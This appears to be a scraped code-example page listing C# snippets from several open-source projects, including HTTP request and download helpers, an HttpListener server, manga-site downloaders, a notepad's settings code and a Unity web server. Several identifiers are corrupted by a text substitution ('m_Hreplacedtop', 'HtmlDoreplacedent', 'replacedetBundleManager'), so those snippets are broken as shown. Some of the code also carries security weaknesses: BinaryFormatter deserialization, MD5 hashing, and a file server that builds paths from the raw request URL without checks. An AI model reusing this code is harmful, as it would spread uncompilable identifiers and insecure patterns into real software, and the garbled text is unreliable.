                Stream myResponseStream = response.GetResponseStream();
                StreamReader myStreamReader = new StreamReader(myResponseStream, Encoding.GetEncoding("utf-8"));
                string retString = myStreamReader.ReadToEnd();
                myStreamReader.Close();
                myResponseStream.Close();

                return retString;
            }

19 View Source File : Utility.Http.cs
License : MIT License
Project Creator : 7Bytes-Studio

public static string Get(string Url, string gettDataStr)
            {
                HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url + (gettDataStr == "" ? "" : "?") + gettDataStr);
                request.Method = "GET";
                request.ContentType = "text/html;charset=UTF-8";

                HttpWebResponse response = (HttpWebResponse)request.GetResponse();
                Stream myResponseStream = response.GetResponseStream();
                StreamReader myStreamReader = new StreamReader(myResponseStream, Encoding.GetEncoding("utf-8"));
                string retString = myStreamReader.ReadToEnd();
                myStreamReader.Close();
                myResponseStream.Close();

                return retString;
            }

19 View Source File : Utility.Http.cs
License : MIT License
Project Creator : 7Bytes-Studio

public void StartDownload()
                {
                    try
                    {
                        HttpWebRequest httpWebRequest = (HttpWebRequest)HttpWebRequest.Create(m_HttpDownloadInfo.Url);

                        if (0L < m_Position)
                        {
                            httpWebRequest.AddRange((int)m_Position);
                        }

                        WebResponse webResponse = httpWebRequest.GetResponse();
                        Stream webResponseStream = webResponse.GetResponseStream();

                        float progress = 0f;
                        long currentSize = m_Position;
                        long totalSize = m_Position + webResponse.ContentLength;

                        byte[] btContent = new byte[m_HttpDownloadInfo.DownloadBufferUnit];
                        int readSize = 0;
                        while (!m_Hreplacedtop && 0 < (readSize = webResponseStream.Read(btContent, 0, m_HttpDownloadInfo.DownloadBufferUnit)))
                        {
                            progress = (float)(currentSize += readSize) / totalSize;
                            if (null != OnDownloadProgress)
                            {
                                OnDownloadProgress.Invoke(this, new HttpDownloaderProgressEventArgs(progress));
                            }
                            m_FileStream.Flush();
                            m_FileStream.Write(btContent, 0, readSize);

                            System.Threading.Thread.Sleep(10);

                        }
                        m_FileStream.Close();
                        webResponseStream.Close();

                        if (!m_Hreplacedtop)
                        {
                            ReNameTempFile();

                            if (null != OnDownloadSuccess)
                            {
                                OnDownloadSuccess.Invoke(this, EventArgs.Empty);
                            }
                        }
                    }
                    catch (Exception ex)
                    {
                        if (null != OnDownloadFailure)
                        {
                            OnDownloadFailure.Invoke(this,new HttpDownloaderFailureEventArgs(ex));
                        }
                        throw ex;
                    }
                }

19 View Source File : Utility.Http.cs
License : MIT License
Project Creator : 7Bytes-Studio

public void Start()
                {
                    if (IsWorking) return;

                    try
                    {
                        m_HttpListener = new HttpListener();
                        //监听的路径
                        m_HttpListener.Prefixes.Add(Address + "/");
                        for (int i = 0; i < Prefixes.Length; i++)
                        {
                            m_HttpListener.Prefixes.Add(Prefixes[i]);
                        }
                        //设置匿名访问
                        m_HttpListener.AuthenticationSchemes = AuthenticationSchemes.Anonymous;
                        m_HttpListener.Start();

                        if (null != m_HttpServerInfo.OnStartSucceed)
                        {
                            m_HttpServerInfo.OnStartSucceed.Invoke(this, EventArgs.Empty);
                        }

                        IsWorking = true;



                        while (IsWorking)
                        {
                            var context = m_HttpListener.GetContext();
                            HttpListenerRequest request = context.Request;
                            HttpListenerResponse response = context.Response;
                            response.ContentEncoding = Encoding.UTF8;
                            response.AddHeader("Access-Control-Allow-Origin", "*"); //允许跨域请求。

                            byte[] handleContent = null;
                            if (request.HttpMethod == "GET")
                            {
                                if (null != m_HttpServerInfo.GetHandler)
                                {
                                    handleContent = m_HttpServerInfo.GetHandler.Invoke(request);
                                }

                            }
                            else if (request.HttpMethod == "POST")
                            {
                                if (null != m_HttpServerInfo.PostHandler)
                                {
                                    handleContent = m_HttpServerInfo.PostHandler.Invoke(request);
                                }
                            }
                            else
                            {
                                if (null != m_HttpServerInfo.DefaultHandler)
                                {
                                    handleContent = m_HttpServerInfo.DefaultHandler.Invoke(request);
                                }
                            }

                            if (null!= m_HttpServerInfo.OnBeforeResponse)
                            {
                                m_HttpServerInfo.OnBeforeResponse.Invoke(response);
                            }

                            response.ContentLength64 = handleContent.Length;
                            Stream output = response.OutputStream;
                            output.Write(handleContent, 0, handleContent.Length);
                            output.Close();
                        }

                        m_HttpListener.Close();
                        m_HttpListener.Abort();
                    }
                    catch (Exception ex)
                    {
                        IsWorking = false;
                        if (null != m_HttpServerInfo.OnStartFailure)
                        {
                            m_HttpServerInfo.OnStartFailure.Invoke(this,new StartFailureEventArgs(ex));
                        }
                    }








                }

19 View Source File : OutBuffer.cs
License : MIT License
Project Creator : 91Act

public void CloseStream() { m_Stream.Close(); }

19 View Source File : RangeCoder.cs
License : MIT License
Project Creator : 91Act

public void CloseStream()
		{
			Stream.Close();
		}

19 View Source File : RSAEncode.cs
License : Apache License 2.0
Project Creator : 91270

public bool GetHash(FileStream objFile, ref byte[] HashData)
        {

            //从文件中取得Hash描述   
            HashAlgorithm MD5 = HashAlgorithm.Create("MD5");
            HashData = MD5.ComputeHash(objFile);
            objFile.Close();

            return true;

        }

19 View Source File : RSAEncode.cs
License : Apache License 2.0
Project Creator : 91270

public bool GetHash(FileStream objFile, ref string strHashData)
        {

            //从文件中取得Hash描述   
            byte[] HashData;
            HashAlgorithm MD5 = HashAlgorithm.Create("MD5");
            HashData = MD5.ComputeHash(objFile);
            objFile.Close();

            strHashData = Convert.ToBase64String(HashData);

            return true;

        }

19 View Source File : KissMangaDownload.cs
License : GNU General Public License v3.0
Project Creator : 9vult

public void StartDownloading()
        {
            File.Create(Path.Combine(chapter.GetChapterRoot().Parent.FullName, "dl" + chapter.GetID())).Close();

            string mName = chapter.GetChapterRoot().Parent.Name;
            string cUrl = "https://kissmanga.org/chapter/" + mName + "/" + chapter.GetID();
            string[] pageUrls = KissMangaHelper.GetPageUrls(cUrl);        
            
            foreach (string url in pageUrls)
            {
                string imgFile = Path.Combine(chapter.GetChapterRoot().FullName, KissMangaHelper.GetPageFileName(url));
                DownloadAsync(new Uri(url), imgFile);
            }
        }

19 View Source File : MangaDexDownload.cs
License : GNU General Public License v3.0
Project Creator : 9vult

public void StartDownloading()
        {
            File.Create(Path.Combine(chapter.GetChapterRoot().Parent.FullName, "dl" + chapter.GetID())).Close();
            string jsonUrl = MangaDexHelper.MANGADEX_URL + "/api/chapter/" + chapter.GetID();
            string jsonString;

            using (var wc = new WebClient())
            {
                jsonString = wc.DownloadString(jsonUrl);
            }

            JObject jobj = JObject.Parse(jsonString);

            string server = (string)jobj["server"];
            string hash = (string)jobj["hash"];

            // string[] page_array = /* ((string) */ jobj["page_array"]. /* ).Split(',') */;
            List<string> page_array = new List<string>();
            IJEnumerable<JToken> jtokens = jobj["page_array"].Values();
            foreach(JToken t in jtokens)
            {
                page_array.Add((string)t);
            }

            foreach (string file in page_array)
            {
                if (server == "/data/")
                    server = MangaDexHelper.MANGADEX_URL + "/data/";

                string imgUrl = server + hash + "/" + file;

                FileInfo imgFile = new FileInfo(
                    Path.Combine(
                        chapter.GetChapterRoot().FullName, 
                        ConvertToNumericFileName(file)
                ));

                if (File.Exists(imgFile.FullName))
                    if (imgFile.Length <= 0)
                        File.Delete(imgFile.FullName);

                DownloadAsync(new Uri(imgUrl), imgFile.FullName);
            }
        }

19 View Source File : NhentaiDownload.cs
License : GNU General Public License v3.0
Project Creator : 9vult

public void StartDownloading()
        {
            File.Create(Path.Combine(chapter.GetChapterRoot().Parent.FullName, "dl" + chapter.GetID())).Close();
            List<HtmlDoreplacedent> docs = new List<HtmlDoreplacedent>();
            int pageCount = NhentaiHelper.GetPageCount("https://nhentai.net/g/" + chapter.GetID());

            string hUrl = "https://nhentai.net/g/" + chapter.GetID() + "/";

            string baseUrl = NhentaiHelper.GetImageUrl(hUrl + "1");
            string hash = NhentaiHelper.GetHash(baseUrl);
            
            for (int page = 1; page <= pageCount; page++)
            {
                string imgUrl = NhentaiHelper.ImgBase() + hash + "/" + page + "." + NhentaiHelper.GetExt(baseUrl);
                string imgFile = Path.Combine(chapter.GetChapterRoot().FullName, page + "." + NhentaiHelper.GetExt(baseUrl));
                DownloadAsync(new Uri(imgUrl), imgFile);
            }
        }

19 View Source File : FrmMain.cs
License : MIT License
Project Creator : A-Tabeshfard

[Obsolete]
        private void MnuFileNew_Click(object sender, EventArgs e)
        {
            _frmContent = new();
            _frmContent.MdiParent = this;
            _frmContent.Text = "Note Pad - " + MdiChildren.Length.ToString();
            _frmContent.Show();

            if (File.Exists("FormatConfiguration_Font.bin"))
            {
                FileStream ConfigFile = new("FormatConfiguration_Font.bin", FileMode.Open);
                BinaryFormatter Deserializer = new();
                FormatConfiguration Current = Deserializer.Deserialize(ConfigFile) as FormatConfiguration;
                ConfigFile.Close();
                ((FrmContent)ActiveMdiChild).textBox.Font = Current.CurrentFont;
            }

            if (File.Exists("FormatConfiguration_BackColor.bin"))
            {
                FileStream ConfigFile = new("FormatConfiguration_BackColor.bin", FileMode.Open);
                BinaryFormatter Deserializer = new();
                FormatConfiguration Current = Deserializer.Deserialize(ConfigFile) as FormatConfiguration;
                ConfigFile.Close();
                ((FrmContent)ActiveMdiChild).textBox.BackColor = Current.CurrentColor;
            }

            if (File.Exists("FormatConfiguration_ForeColor.bin"))
            {
                FileStream ConfigFile = new("FormatConfiguration_ForeColor.bin", FileMode.Open);
                BinaryFormatter Deserializer = new();
                FormatConfiguration Current = Deserializer.Deserialize(ConfigFile) as FormatConfiguration;
                ConfigFile.Close();
                ((FrmContent)ActiveMdiChild).textBox.ForeColor = Current.CurrentColor;
            }
        }

19 View Source File : FrmMain.cs
License : MIT License
Project Creator : A-Tabeshfard

[Obsolete]
        private void MnuFormatFont_Click(object sender, EventArgs e)
        {
            try
            {
                if (_fontDialog.ShowDialog() == DialogResult.OK)
                {
                    ((FrmContent)ActiveMdiChild).textBox.Font = _fontDialog.Font;
                    FileStream ConfigFile = new("FormatConfiguration_Font.bin", FileMode.Create);
                    BinaryFormatter Serializer = new();
                    Serializer.Serialize(ConfigFile, new FormatConfiguration(_fontDialog.Font));
                    ConfigFile.Close();
                }
            }
            catch (Exception Ex)
            {
                MessageBox.Show(Ex.Message, "Note Pad", MessageBoxButtons.OK, MessageBoxIcon.Error);
            }
        }

19 View Source File : FrmMain.cs
License : MIT License
Project Creator : A-Tabeshfard

[Obsolete]
        private void MnuFormatBackColor_Click(object sender, EventArgs e)
        {
            try
            {
                if (_colorDialog.ShowDialog() == DialogResult.OK)
                {
                    ((FrmContent)ActiveMdiChild).textBox.BackColor = _colorDialog.Color;
                    FileStream ConfigFile = new("FormatConfiguration_BackColor.bin", FileMode.Create);
                    BinaryFormatter Serializer = new();
                    Serializer.Serialize(ConfigFile, new FormatConfiguration(_colorDialog.Color));
                    ConfigFile.Close();
                }
            }
            catch (Exception Ex)
            {
                MessageBox.Show(Ex.Message, "Note Pad", MessageBoxButtons.OK, MessageBoxIcon.Error);
            }
        }

19 View Source File : FrmMain.cs
License : MIT License
Project Creator : A-Tabeshfard

[Obsolete]
        private void MnuFormatForeColor_Click(object sender, EventArgs e)
        {
            try
            {
                if (_colorDialog.ShowDialog() == DialogResult.OK)
                {
                    ((FrmContent)ActiveMdiChild).textBox.ForeColor = _colorDialog.Color;
                    FileStream ConfigFile = new("FormatConfiguration_ForeColor.bin", FileMode.Create);
                    BinaryFormatter Serializer = new();
                    Serializer.Serialize(ConfigFile, new FormatConfiguration(_colorDialog.Color));
                    ConfigFile.Close();
                }
            }
            catch (Exception Ex)
            {
                MessageBox.Show(Ex.Message, "Note Pad", MessageBoxButtons.OK, MessageBoxIcon.Error);
            }
        }

19 View Source File : Test.cs
License : GNU General Public License v3.0
Project Creator : a2659802

public IEnumerator Dump(string sceneName = null)
		{

			List<string> scenes = new List<string>();
			for (int j = 0; j < USceneManager.sceneCountInBuildSettings; j++)
			{
				string scenePath = SceneUtility.GetScenePathByBuildIndex(j);
				string name = Path.GetFileNameWithoutExtension(scenePath);
				scenes.Add(name);
				var load = USceneManager.LoadSceneAsync(j, LoadSceneMode.Single);
				while (!load.isDone)
				{
					yield return new WaitForEndOfFrame();
				}
				yield return new WaitForSeconds(0.2f);
				Scene s = USceneManager.GetActiveScene();
				StringBuilder sb = new StringBuilder();
				foreach (var g in s.GetRootGameObjects())
                {
					Visit(g.transform, 0, null,sb);
                }
				try
				{
					var fs = File.Create($"Z:\\1\\{s.name}.txt");
					StreamWriter sw = new StreamWriter(fs);
					sw.Write(sb.ToString());
					sw.Close();
					fs.Close();
				}
				catch { }
				
				//
			}
			var load_ = USceneManager.LoadSceneAsync(2, LoadSceneMode.Single);
			while (!load_.isDone)
			{
				yield return new WaitForEndOfFrame();
			}
			yield return USceneManager.LoadSceneAsync("Quit_To_Menu");
			while (USceneManager.GetActiveScene().name != Constants.MENU_SCENE)
			{
				yield return new WaitForEndOfFrame();
			}

			
			
		}

19 View Source File : WebServer.cs
License : Apache License 2.0
Project Creator : A7ocin

void OnGetContext(IAsyncResult async)
        {
            // start listening for the next request
            _listener.BeginGetContext(OnGetContext, null);
            var context = _listener.EndGetContext(async);
            try
            {
                if (context.Request.RawUrl == "/")
                {
                    Debug.Log("[WebServer] context.Request.RawUrl");
                    context.Response.StatusCode = 200;
                    var process = System.Diagnostics.Process.GetCurrentProcess();
                    string msg = string.Format(@"<html><body><h1>UMA Simple Web Server</h1><table>
						<tr><td>Host Application</td><td>{0} (Process Id: {1})</td></tr>
						<tr><td>Working Directory</td><td>{2}</td></tr>
						</table><br><br>{3}</body></html>", process.ProcessName, process.Id, System.IO.Directory.GetCurrentDirectory(), GetLog("<br>"));
                    var data = System.Text.Encoding.UTF8.GetBytes(msg);
                    context.Response.OutputStream.Write(data, 0, data.Length);
                    context.Response.OutputStream.Close();
                    //Tried adding response close aswell like in Adamas original
                    context.Response.Close();
                }
                else
                {
                    var filePath = System.IO.Path.Combine(_hostedFolder, context.Request.RawUrl.Substring(1));
                    if (System.IO.File.Exists(filePath))
                    {
                        using (var file = System.IO.File.Open(filePath, System.IO.FileMode.Open))
                        {
                            var buffer = new byte[file.Length];
                            file.Read(buffer, 0, (int)file.Length);
                            context.Response.ContentLength64 = file.Length;
                            context.Response.StatusCode = 200;
                            context.Response.OutputStream.Write(buffer, 0, (int)file.Length);
                        }
                    }
                    else
                    {
                        context.Response.StatusCode = 404;
                        UnityEngine.Debug.LogErrorFormat("Url not served. Have you built your replacedet Bundles? Url not served from: {0} '{1}'", context.Request.RawUrl, filePath);
#if UNITY_EDITOR
                        replacedetBundleManager.SimulateOverride = true;
                        context.Response.OutputStream.Close();
                        //Tried adding response close aswell like in Adamas original
                        context.Response.Abort();
                        return;
#endif
                    }
                }
                lock (_requestLog)
                {
                    _requestLog.Add(string.Format("{0} {1}", context.Response.StatusCode, context.Request.Url));
                }
                context.Response.OutputStream.Close();
                context.Response.Close();
            }
            catch (HttpListenerException e)
            {
                if (e.ErrorCode == -2147467259)
                {
                    // shutdown, terminate silently
                    Debug.LogWarning("[Web Server] ErrorCode -2147467259: terminate silently");
                    context.Response.Abort();
                    return;
                }
                UnityEngine.Debug.LogException(e);
                context.Response.Abort();
            }
            catch (Exception e)
            {
                UnityEngine.Debug.LogException(e);
                context.Response.Abort();
            }
        }

See More Examples